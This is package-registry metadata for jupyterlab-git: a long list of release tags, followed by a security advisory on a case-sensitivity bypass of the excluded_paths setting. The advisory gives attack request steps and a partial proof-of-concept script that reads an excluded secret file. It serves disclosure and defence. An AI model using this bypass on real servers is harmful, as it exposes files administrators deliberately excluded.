dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.23.0/manifests"},{"name":"v0.22.3","sha":"2b685a3b19a83787db7c09cb104f61f9a2c304f6","kind":"commit","published_at":"2020-10-31T13:00:42.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.22.3","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.22.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.22.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.22.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.22.3/manifests"},{"name":"v0.22.2","sha":"c7cf93fb80d20a5c5a83d47dd5d813e59bccf94b","kind":"commit","published_at":"2020-10-24T14:43:07.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.22.2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.22.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.22.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.22.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.22.2/manifests"},{"name":"v0.22.1","sha":"03cb915f97dd96a829711d27feea5f31d7daf5cc","kind":"commit","published_at":"2020-10-09T06:20:17.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.22.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.22.1/manifests"},{"name":"v0.22.0","sha":"7b7f0e53a7a25c0726bbf6f27912918185193b2d","kind":"commit","published_at":"2020-10-04T17:30:19.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.22.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.22.0/manifests"},{"name":"v0.21.1","sha":"d632deea4ca3a97eee8af3bbdb2b7dc5611892ce","kind":"commit","published_at":"2020-09-03T18:22:49.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.21.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.21.1/manifests"},{"name":"v0.21.0","sha":"7f3e4cc16fd7cce23d7ac4b3a8fae86c058b56ea","kind":"commit","published_at":"2020-08-30T15:17:28.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.21.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.21.0/manifests"},{"name":"v0.11.0","sha":"b95e6cd8aca73d865e33105747b12453b9cbb0b3","kind":"commit","published_at":"2020-08-30T13:04:40.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.11.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.11.0/manifests"},{"name":"v0.11.0rc1","sha":"184648f4c1c5d07d80186b227e0802e19ba66697","kind":"commit","published_at":"2020-08-23T20:49:21.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.11.0rc1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.11.0rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.11.0rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.11.0rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.11.0rc1/manifests"},{"name":"v0.21.0rc0","sha":"bf58cece4d991c47369ac8efd5436cfb0a5cd76f","kind":"commit","published_at":"2020-08-22T18:19:50.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.21.0rc0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.21.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.21.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.21.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.21.0rc0/manifests"},{"name":"v0.11.0rc0","sha":"00de262b38bc8648917940cfc9934568cf1b67f2","kind":"commit","published_at":"2020-08-22T18:13:10.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.11.0rc0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.11.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.11.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.11.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.11.0rc0/manifests"},{"name":"v0.21.0a1","sha":"d52688c8935108dc9520a9ddd8c4a3eaa5c0a168","kind":"commit","published_at":"2020-08-22T14:53:47.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.21.0a1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.21.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.21.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.21.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.21.0a1/manifests"},{"name":"v0.21.0a0","sha":"abfdcf20df226bfeb0927adac7abc80618afaf78","kind":"commit","published_at":"2020-08-09T18:52:00.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.21.0a0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.21.0a0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.21.0a0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.21.0a0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.21.0a0/manifests"},{"name":"v0.20.0","sha":"8218ae8443673228c621f62c6533b300efbef22f","kind":"commit","published_at":"2020-05-05T16:56:33.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.20.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.20.0/manifests"},{"name":"v0.10.1","sha":"2aeae86b6010dd1f05b820d8753cff8349c181a6","kind":"commit","published_at":"2020-04-25T12:57:42.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.10.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.10.1/manifests"},{"name":"v0.20.0rc0","sha":"5eada2f840ef43b58794f4e6db1c73c5fb255f5d","kind":"commit","published_at":"2020-04-25T12:48:14.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.20.0rc0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.20.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.20.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.20.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.20.0rc0/manifests"},{"name":"v0.10.1rc0","sha":"5798d7c41445f5d3b48319a764df2244b3720478","kind":"commit","published_at":"2020-04-23T06:47:09.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.10.1rc0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.10.1rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.10.1rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.10.1rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.10.1rc0/manifests"},{"name":"v0.10.0","sha":"6db57bf4987d387d439acd16ddfe8d54d46e8f47","kind":"commit","published_at":"2020-03-26T01:00:22.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.10.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.10.0/manifests"},{"name":"v0.9.1","sha":"67b37d21d568adc7c1eeafa1a621e37fb39dbdea","kind":"commit","published_at":"2020-03-24T16:45:28.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.9.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"db4723079978568bcef2ebdc8af3cc12c79db1db","kind":"commit","published_at":"2019-12-04T20:24:01.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.9.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.9.0/manifests"},{"name":"v0.9.0rc1","sha":"db4723079978568bcef2ebdc8af3cc12c79db1db","kind":"commit","published_at":"2019-12-04T20:24:01.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.9.0rc1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.9.0rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.9.0rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.9.0rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.9.0rc1/manifests"},{"name":"v0.8.2","sha":"86ee7ecd23a8fefbaea315033ea995c8c7e66947","kind":"tag","published_at":"2019-09-05T21:15:02.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.8.2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"0b4339fec57e07bbb5c780f173fa09978ae68634","kind":"tag","published_at":"2019-08-15T22:39:03.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.8.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.8.1/manifests"},{"name":"v0.8","sha":"96e782f717810e915fd5a0da8aba3f2b7a08ebb4","kind":"tag","published_at":"2019-08-07T07:07:04.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.8","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.8/manifests"},{"name":"v0.7.1","sha":"8443ac055aec15739a7044c550c0ff0f27694b32","kind":"tag","published_at":"2019-08-01T21:07:01.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.7.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.7.1/manifests"},{"name":"v0.6.1-alpha.0","sha":"71d39ba0461e03a4020b5c426ae02fab14244717","kind":"tag","published_at":"2019-08-01T20:50:24.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.6.1-alpha.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.6.1-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.6.1-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.6.1-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.6.1-alpha.0/manifests"},{"name":"v0.7.0","sha":"bb68649a3609f2386f4e9059951172dd98aeaa00","kind":"tag","published_at":"2019-07-09T00:50:04.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.7.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.7.0/manifests"},{"name":"v0.6.1","sha":"834e4ea55ab596ebc430263f4884eea6663b5f8d","kind":"tag","published_at":"2019-06-24T17:38:23.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.6.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"40c9683718fccd61abc79163e6f4d1fa8be244e0","kind":"commit","published_at":"2019-06-11T21:19:12.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.6.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.6.0/manifests"},{"name":"v0.5.0","sha":"1696fa3a0b7db3120ea05281e8107532d5a480b1","kind":"tag","published_at":"2019-04-11T20:37:32.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.5.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.5.0/manifests"},{"name":"v0.4.4","sha":"ead75eec32550ce8ec9b3f88fb5ea36601029d43","kind":"tag","published_at":"2018-11-20T22:15:17.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.4.4","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.4.4/manifests"},{"name":"v0.4.2","sha":"a7218ae5460ad2310ff7b39ed92bfb890ced3710","kind":"tag","published_at":"2018-10-15T16:11:28.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.4.2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"a465e0fa8e4c1408421a6b79a71ba0f996dfbf62","kind":"tag","published_at":"2018-10-15T16:10:04.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.4.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"2fd9221221fefd079723f7f06c85f9a695956083","kind":"tag","published_at":"2018-10-11T10:14:12.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.4.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.4.0/manifests"},{"name":"v0.3.0","sha":"0a408889481e0f4eb6cada3d1d4100afc9df96cc","kind":"tag","published_at":"2018-10-11T10:11:59.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.3.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.3.0/manifests"}]},"repo_metadata_updated_at":"2026-08-20T14:23:46.276Z","dependent_packages_count":17,"downloads":193944,"downloads_period":"last-month","dependent_repos_count":505,"rankings":{"downloads":0.8880525177926115,"dependent_repos_count":0.641006670494161,"dependent_packages_count":1.6105957546732337,"stargazers_count":1.8269974277643641,"forks_count":3.0092843823073814,"docker_downloads_count":0.8831210844419195,"average":1.4765096395789452},"purl":"pkg:pypi/jupyterlab-git","advisories":[{"uuid":"GSA_kwCzR0hTQS00MzZxLWp3ZnItcm0yaM4ABZLn","url":"https://github.com/advisories/GHSA-436q-jwfr-rm2h","title":"jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories","description":"## Summary\n\n`jupyterlab-git` 0.53.0 (latest, 2026-04-30) uses `fnmatch.fnmatchcase()` in `GitHandler.prepare()` (`jupyterlab_git/handlers.py:91`) to enforce the admin-configured `excluded_paths` security control. Because `fnmatchcase` is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting `/git/project/Secrets/...` instead of `/git/project/secrets/...` — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.\n\n## Vulnerable Code\n\n```python\n# jupyterlab_git/handlers.py:84-92\nasync def prepare(self):\n    \"\"\"Check if the path should be skipped\"\"\"\n    await ensure_async(super().prepare())\n    path = self.path_kwargs.get(\"path\")\n    if path is not None:\n        excluded_paths = self.git.excluded_paths\n        for excluded_path in excluded_paths:\n            if fnmatch.fnmatchcase(path, excluded_path):  # ← always case-sensitive\n                raise tornado.web.HTTPError(404)\n```\n\n## Root Cause\n\n`fnmatch.fnmatchcase()` is unconditionally case-sensitive regardless of the operating system. Contrast with `fnmatch.fnmatch()` which normalizes via `os.path.normcase()` on case-insensitive platforms.\n\n```python\nfnmatch.fnmatchcase(\"/project/secrets\", \"/project/secrets\")  # True  — blocked\nfnmatch.fnmatchcase(\"/project/Secrets\", \"/project/secrets\")  # False — bypasses check\n```\n\nOn macOS APFS and Windows NTFS, `/project/Secrets` and `/project/secrets` resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream `url2localpath()` resolves the case-varied path to the same filesystem location.\n\n## Impact\n\nAn authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured `excluded_paths` by varying the case of the URL path segment. This grants:\n\n- Read file content at any git ref (`/content` endpoint)\n- Read working tree files in the excluded directory\n- View git status, log, diff on the excluded path\n- Enumerate commits touching excluded files\n\n## Attack Scenario\n\n1. Admin configures `c.JupyterLabGit.excluded_paths = [\"/project/secrets\", \"/project/secrets/*\"]`\n2. Normal request `POST /git/project/secrets/status` → HTTP 404 (blocked)\n3. Attacker requests `POST /git/project/Secrets/status` → HTTP 200 (bypass)\n4. Attacker reads secret: `POST /git/project/Secrets/content` with `{\"filename\": \"./cred.txt\", \"reference\": {\"git\": \"HEAD\"}}` → file content returned\n\n## Exploit\n\nSee `poc.py`. Starts a real jupyter-server with jupyterlab-git loaded, configures `excluded_paths`, and demonstrates bypass + exfiltration via HTTP.\n```python\nimport json, os, shutil, subprocess, sys, tempfile, time\nimport urllib.request, urllib.error\n\nfrom jupyterlab_git.handlers import GitHandler  # real import, no mock\nfrom jupyterlab_git_core.git import Git\nimport jupyterlab_git_core\n\nPORT = 18895\nTOKEN = \"xtoken\"\nBASE_URL = f\"http://127.0.0.1:{PORT}\"\nSECRET = \"sk-PROD-a8f2x9q-LIVE-KEY\"\n\n\ndef post(path_seg, endpoint, body=None):\n    url = f\"{BASE_URL}/git/{path_seg}{endpoint}\"\n    data = json.dumps(body or {}).encode()\n    req = urllib.request.Request(url, data=data, method=\"POST\",\n        headers={\"Authorization\": f\"token {TOKEN}\", \"Content-Type\": \"application/json\"})\n    try:\n        resp = urllib.request.urlopen(req, timeout=10)\n        return resp.status, json.loads(resp.read())\n    except urllib.error.HTTPError as e:\n        return e.code, e.read().decode()\n\n\ndef main():\n    base_dir = tempfile.mkdtemp(prefix=\"jlgit_\")\n    workspace = os.path.join(base_dir, \"workspace\")\n    repo_dir = os.path.join(workspace, \"project\")\n    secret_dir = os.path.join(repo_dir, \"secrets\")\n    os.makedirs(secret_dir)\n\n    with open(os.path.join(secret_dir, \"cred.txt\"), \"w\") as f:\n        f.write(SECRET + \"\\n\")\n\n    git_env = {**os.environ, \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@x\",\n               \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@x\"}\n    subprocess.run([\"git\", \"init\"], cwd=repo_dir, capture_output=True, check=True)\n    subprocess.run([\"git\", \"add\", \".\"], cwd=repo_dir, capture_output=True, check=True)\n    subprocess.run([\"git\", \"commit\", \"-m\", \"init\"], cwd=repo_dir,\n                   capture_output=True, check=True, env=git_env)\n\n    config_path = os.path.join(base_dir, \"jupyter_server_config.py\")\n    with open(config_path, \"w\") as f:\n        f.write(f'c.ServerApp.root_dir = \"{workspace}\"\\n')\n        f.write(f'c.ServerApp.token = \"{TOKEN}\"\\n')\n        f.write(f'c.ServerApp.open_browser = False\\n')\n        